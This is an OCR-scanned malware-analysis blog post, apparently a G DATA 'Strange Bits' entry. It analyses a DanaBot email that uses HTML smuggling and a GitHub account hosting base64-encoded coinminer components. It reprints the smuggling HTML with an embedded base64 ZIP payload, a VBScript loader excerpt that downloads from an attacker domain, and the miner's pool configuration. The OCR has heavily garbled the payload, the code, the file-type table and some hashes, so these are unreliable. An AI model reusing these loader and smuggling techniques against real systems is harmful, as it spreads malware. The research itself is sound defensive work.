Strange Bits: HTML Smuggling and GitHub Hosted Malware
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Sometimes we see odd stuff, like malware that employs a technique called "HTML Smuggling". Also, malware on GitHub
seems to be a thing these days.

"That's strange..."

Many important discoveries do not start with a shouting of ,Eureka” anymore, as they did in the days of old. Instead, the
most intriguing bits of modern research will at some point contain the phrase “That’s strange...”, followed by more
prodding and poking and — hopefully — a lightbulb moment. This series that we call "Strange Bits" contains many findings
that struck our analysts as odd, either because they do not seem to make any sense at the time or because a malicious
program exhibits behaviors that none of us have seen before. Maybe these findings will spark ideas in other fellow
researchers — maybe those findings are just what it says on the tin: Strange....

DanaBot loader uses HTML smuggling

This email has an unusual way to store contained malware. The emaill'! displays polish text which prompts the user to
click on a download link. The translated text says "This file can not be previewed. You can download the file."

The <a> tag for this link has a download attribute with the name of the dropped ZIP archive:
dokumentacja_28380.zip[2]. However, the referenced data in the href attribute is not downloaded from a URL but saved
as a baseb4 string using the data URI scheme. This is also called HTML smuggling (thanks to Rich Warren who gave me
a hint to the blog post).
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https://www.gdatasoftware.com/blog/2019/05/31695-strange-bits-smuggling-malware-github
https://outflank.nl/blog/2018/08/14/html-smuggling-explained/
https://twitter.com/buffaloverflow

<IDOCTYPE HTML>

<IDOCTYPE html>

<html lang="en">

<head><title></title></head>
—|<body>
<nl>» Nie mozZna wyswietlid podgladu tego pliku. Mozesz pobradé plik. <a id="oSgzleBaSguPz" href=
"data:appli&#99;:;ation/x-zip-&#99  ompressed:base6d , UESDEBQDAAATATAMNk A2 Tw5s5gUAAT ceAAAWAAAATGITdW1 1bnRhY2ph¥zT
AMzgwlnZiZelZ23ISQRBYhir+oYsHDOVBIWRSr4oxB8Rpi CVIEF2vYHAiR3ZntmVkhefIE/EQ/xNOT7IewiUZ8stSCE3E3pPn2 6eyTOCPVY2E /G
EkkHIpHWaNTrIT62Egb/Xod6dfps++ ff1RzzMt o+ D4+ 7 chbNFoOBRa 9qCGgatwl 65X zHUgNxKe IviIX04UaHZ I Igi Tm3S /sTLy05aTErPSWlyUest
Ph8SmFm0ZQ,/D2VgoPb02Bi fwnaolb,/ q00CGk 9 TEMWe +VeCRUWN TAOVY TY TUSXRpF 0k IMoonDOZY 1wQy3gqTJawvIzBoygas 3RIDePTFIIC2tVDy
2vbtwE 5 ThUVEghFDSCL3ssF21snDJ4yEDoS4CRhe THER 5 2Go oAV /RKGHOZSChA4dCI T oyNOTSRCCGks JThCowl tpdWHIUePuKaxZ 5 TMROWY JT JJ
kWgUQobkCnlgScemCSTeCkexThiIPEZCAS7T+Ez0HS 3Fuwoz 90 ] giWEP2Wp 1 8LRvp TRWLp 7 zFskRk 9z2ghPEQ4e05ghoD J ZRcZRImbS0D J IGo6 £C
csgi0TnfFlJreaMezxaERIpEY Ynd+rlhiyvolgy 7THAB3O0G1 o TR TOtALMHMN I DTYyNFERRDY Y SB2 JCigmmhs SR6BnMmTTzAgPpCx 9 FxXVLAT IwE
4zcdCFCseCUno IQTBEZIDScURQ4kQ30YAdi0TOVIwoBBRGCEZD / TeRJoOI pGMp Y 2Fyp 3GswpndGex0 L3I f06oxSicasWknPfFFIEZRNVAFTZ KON
zFAMvEnj+mwPeIUxF/sDVzDT2MvTiNe0gABtY41l zsbnExTe S9glnaMs jnM7Q8y 7 3WA L1ECgf 3vwavwVG/ 5 TAetiNomwX i Ln¥ERFkGgdgatRr2
2FCRANgEB3ac+50Z2zwbegLNg ] TAxpw32Hs5G9TL2 JAn SR Ufuyvwnd rt 6BDhGvT+brOp+5h4di SENp4=s6EejQz 1bpWog+ X 9RkMASxREqgs 9Xthw
YhbYgObxHzUZ S IBe+HN6IWZ 8 THHi peXkodw3 fPEKL ThOO+ InmQ2 t B+ rV0GZaKAr J2dPRaDvwePni Ex8Uy4 Y TY +MnEo LOQSBcBPOO/ epalqOzdogwn
+LRQZVXPuWo 4 PvB4fsRyIVATRCWS fOvEaEtod81RFEG/yEIv4/ S1tBGONS P 79w0BeE,/ 15mW1 5bX1 teWl 7JLl ewxyohwJgY SUSCS5bAZMz0UnW
+FH¥a00ggVOkUpl EGFoTgLWS MG jpol 6bGHSnlNOo rNVEY / £ Zend /utW+2 iW+ohy rvilo3ncVVHD/ 1Gvil Iy XY FuntFuhl yve+4An0P S éuyOWgOWVEi
gl+=1Vedkw+mk/fUSKMBSRENUeUHOV1qOpVowY ek 4dM1+x2gGZ S L6 JOAPEEBwOOSriulKstrDipvlbhsTInASS6bhtor THgpVixxgquTdaistScrP
YXiCGgyA3ks4PdlZ1+eXD4nAhgBz LITESixhkgL3mDErQCs1a7Qzel 9pJ6EDd1eDXa20UtELCEZ0ILVMQT 5v3xy6ej0anfiFAcHCy1ln] JRKERKT2
Tt+vY3/8B0ECGuHLg4 8y PegoVY ITHUfOCV,/ Yz 6 PARUVYbuGiuIkveTEp+ Y1 rRENnJBO0BORrHdtUcnNEVGIAdEY SVATCgtes 62d,/ h4AUAQ4S LAeF
iDg/ TxEUnMMx jvwHnhZmImdl gl CvxQ+go8 LATy I 6uTE SdnXgZsUdkNvEYPZY Jus SplZWZTH,/ I+dXeviXZvE5 8 2pMiMe LuEcsdmh I dHwArcMSme
c+0¥1/5fzP0] 6pdwxeTympdus,/vOTWA2ANg Tpy 8CovNgVNE+KaEbACOK T r JO9VEXyy 2 2hLLO+n2At rext1WV40,/ JIVH2 JeHsulu)zBefDIELD
112tm/muHUTszPHpvrNiNGId36VHSTET+ LHAWIOUOhPTvGCanSa/ASAkgnd 1eUi rLzQ5eM1 6 I0J4bb8gwCDOEF5S / 3 SFUHN=Y to3zm1U30
1+jVUZ /10RTHC tE8EWryLwiNKDDz8V2kD3ecweb6FwFaibhs4 P /MzuVmalU7 3wFQSwECPWMUAWAACACOD ISONK T+bOYFAACHHAAAFgAKAAAAAR
AAACCAPIEAAAAATGITdW11bnRhY2phXzI4MzgwlnZi ZQoATAAAAARAAAQAYAAAWxaOW/ 9OBADDFghly/ LARAMMIWGF v,/ UAVBLBQYAAAAAAQABRAGY
AbAAABgAAAAR=" download="dokumentacja_ 28380.zip" target="_blank"> pobierz plik. </fa» </hl>
</ body>
L</html>

The dropped ZIP archive contains a file named dokumentacja_28380.vbe!3l. Despite its file extension it is not encoded
but a plain VBScript. The obfuscated script retrieves a PowerShell command which downloads DanaBot!*! to the
%TEMP% folder and executes it.

250 '28380
251 = pidarsdxcosl = pionterosasdcstaskakal()
252 '28380
253 S5et manazXMLHTTP = CreateCbject (pidarsdxcosl)
254 manazXMLHTTP.Cpen xXoslosxxXops, "https://www.google.com™, False
255 '28380
256 = pidarsdxcosl = pionterosasdcstaskakal()
257 '28380
258 = Set manazXMLHITF = CreateCbject (pidarsdxcosl)
128380
260 = manazXMLHTTP.Cpen xoslosxxops, domanisddomain, False
'28380
128380
= manazXMLHTTP. Send reasposMilos
264 '28380
265 lik=saoresponse = manazXMLHTTP.responselext
266 zanamsa (manazXMLATTP)
267 '28380
268 End Sub
269
270 Function ninosZeror ()
271 Cn Error Resume Next

%]
%]

%End Function

£ 053

274 Sub ziopsdcupd()

275 '28380

276 L Dim chilosMyRrray

277 gemanIsademain — "https://zaratoons.infa”
278 End Sub

273

GitHub repositories host coinminer malware and settings as base64 strings
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The GitHub user errorsysteme and their repositories were taken down after G DATA researchers discovered that they
hosted malware. The repositories were discovered via a downloader sample!®!.

Overview Repositories 2 Projects 0 Stars 0 Followers 0 Following 0

Popular repositories

base wask
wask
errorsysteme 97 contributions in the last year
Block or report user May un ui Aug Sep Oct Now De: n Feb M Ap
- [
Wed [ |
Learn how we count contributions. Less HE tore
Contribution activity 2019
April 2019
B Created 74 commits in 2 repositories =
errorsysteme/base 64 commits L

errorsysteme/wask 10 commits

I Created 1 repository s

El errorsysteme/wask Apr 26

Show maore activity

Seeing something unexpected? Take a look at the GitHub profile guide.

The user has two repositories, both contain text files with base64 strings of PE binaries and configuration files. The
repository wask only contains a file named data_Issas!®l. This file is downloaded and executed intially and will in turn
obtain and install files and settings from the base repository.
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No description, website, or topics provided,

p 84 commits

Branche master =

" 1 branch

errorsysterne Create Intallssd

) Install_CM
&) Install_CM_z
&) Intallss4
=] Rundll
&| STtest
&) WerlFaultG4
| WerlFault86
| clean
E| data
&) data_cashie4
&) data_cash86
&) data_lssas
=) data_lssasl2
=) data_lssas_18
| fontdrsvhost
fontdrsvhost_z
&) hostdl
& kasp
&| parameters
=) parametersl
&) parameters_z
| proceslist
=] proceslist_z
&) wersion

=] versionl

"base" repository

Create Install_CM
Create Install_CM_z
Create Intallss4
Create Rundil
Create STtest
Create WerlFault64
Create WerlFault36
Update clean

Create data

Update data_cashg4
Update data_cashgb
Update data_lssas
Update data_lssasl2
Create data_lssas_18
Create fontdrsvhost
Create fontdrsvhost_z
Create hostdll
Create kasp

Create parameters
Create parametersl
Create parameters_z
Create proceslist
Create proceslist_z
Update version

Update versionl

© 0 releases

A1 1 contributer

s

Latest commit 32003ad 11 days ago

13 days ago
13 days ago
11 days ago
a month ago
a manth ago
a month ago
a month ago
13 days ago
16 days ago
15 days ago
15 days ago
13 days ago
16 days age
a manth ago
13 days ago
13 days ago
a month ago
a month ago
13 days ago
a month ago
13 days ago
13 days ago
13 days ago
13 days ago

14 days ago

The contents of the

/clean:

/data:
/data_cash64:
/data_cash86:
/data_lssas:
Jdata_lss5as512:
Jjdara_lssas_18:
/fontdrsvhost:
/fontdrsvhost_z:
/hostd]1:
JInstall_cm:
JInstall_cm_z:
JIntallss4:
/kasp:
/parameters:
/parametersl:
/parameters_z:
/proceslist:
/proceslist_z:
/Rund11:
/STtest:
Jversion:
Jversionl:
JwerTFaulted:
/wer1Faultse6:

UTF-8 Unicode (with BOM) text, with CRLF Tine terminators
PE32 executable (DLL) (console) Intel 80386, for Ms windows .
PE32+ executable (console) x86-64 (stripped to external PDB), for Ms windows

PE32 executable
PE32 executable (GuI)
PE32 executable (GuUI)
PE32 executable EGUIg
PE32 executable (GUI
data

PE32 executable
PE32 executable
data

data

PE32 executable (GuI) Intel 80386, for
ASCII text, with CRLF line terminators
ASCII text, with CRLF line terminators
data

empry

data

PE32 executable (console) Intel 80386,
PE32+ executable (console) x86-64, for
ASCII text

ASCII text, with no Tine terminators
PE32+ executable (console) x86-64, for
PE32 executable (console) Intel 80386,

Intel
Intel
Intel
Intel

80386, for
80386, for
80386, for
80386, for

80386, for
80386, for

Intel
Intel

(Gur)
(GuI)

the "base" repository after decoding the base64 strings
The PE files named WerFault64!"] and WerFault86®! are modified versions of the Non-Sucking_Service Manager
(NSSM). The file properties and icons have been changed to imitate Microsoft's actual WerFault.exe which is used for

error reporting. The modified NSSM is used to install malware as service on the system.

MS windows
Ms wWindows
M5 windows
MS windows, UPX compressed

MS windows, UPX compressed
MS wWindows

MS windows

for M5 wWindows
M5 Windows

MS wWindows
for M5 windows

A file named parameters contains the settings for the coinminer malware.

(console) Intel 80386 (stripped to external PDB), for MS windows

File types for files in
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https://nssm.cc/

[hash]
value=1TESBDBSED1D154A219EBDS989CE8883Ca
[commentary]

[Description]

[DisplayName]

[mincorecount]

value=0

[mainer dir]

value=C:\Windows\Installer\PatchCach

[==1]

[MyMainerBlackList]
url=http://mine.zarabotaibitok.ru/Downloads/blockproc. txt
[mainer param str]

value=-a cryptonight-pico/trtl -o one.ifis.today:55555 -0 61.128.111.164:3335 -u u -p X —--donate-level=l --api-portc=1010

[mainer exe]
value=SystenlNT.exe
[SerwverHS]
O=zm.clonesab.services

20 1=46.50.194.171
21 [AutoCloseProcessTimer])

22  walue=10000

The actual coinminer is the files data_cash64/°l and data_cash86!'% in the base repository.

Referenced Samples

Description

[1] DanaBot
Loader
Email

Filename

SHA256
dde37964ab9f749e1c48a88202ad6c5fd03bd2c82e67736e42fc02fe912bebba

[2] DanaBot
Loader ZIP
archive

dokumentacja_28380.zip

f4d1a4ce0ad334b31aa444ab9ced0d9d1eb581f889f3dbcfc1050eeas 74ad3cf

[3] DanaBot
Loader
VBScript

dokumentacja_28380.vbe

0222fecffoc56e7af6f1502328478283c46e7a243ef2edcac466c2acdabe3eb9

[4] DanaBot
Payload

DbBf

bfce42e325a9b999d1630a7ccc27ac8260104fb47bfc768637e2a2a687b65855

[5] Initial
GitHub
malware
downloader

4b4c45569b1b7c3c114a633ec0a54864cd91fd99bea2645803d23e78f9fcd81c

[6] GitHub
downloader
in wask
repository

data_lssas

0075b6e78cebc1ed63a495918620aa7220ddabf7c9e501bc840d724ce930d2d3

[7] Modified
NSSM 64
bit version

WerFault64

3335ec57681b238846e0d19a3459dc739d11dfaf36722b7f19e609a96b97ad92

[8] Modified
NSSM 32
bit version

WerFault86

2f979194413c1b40a9d11bc4031d1672cd445d64b60343f6d308e4df0d2bdc6b

[
Coinminer
64 bit
version

data_cash64

¢3d982038039828f201a93b323b2b76f8e0db20a81aee89334afa22a4c83f36f
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Description Filename SHA256

[10] data_cash86 8521¢866fd37499631e6e1b0902a21e555e565d609bb6e2402eb86dec8743fa9
Coinminer

32 bit
version

Karstn Hahn
Malware Analyst
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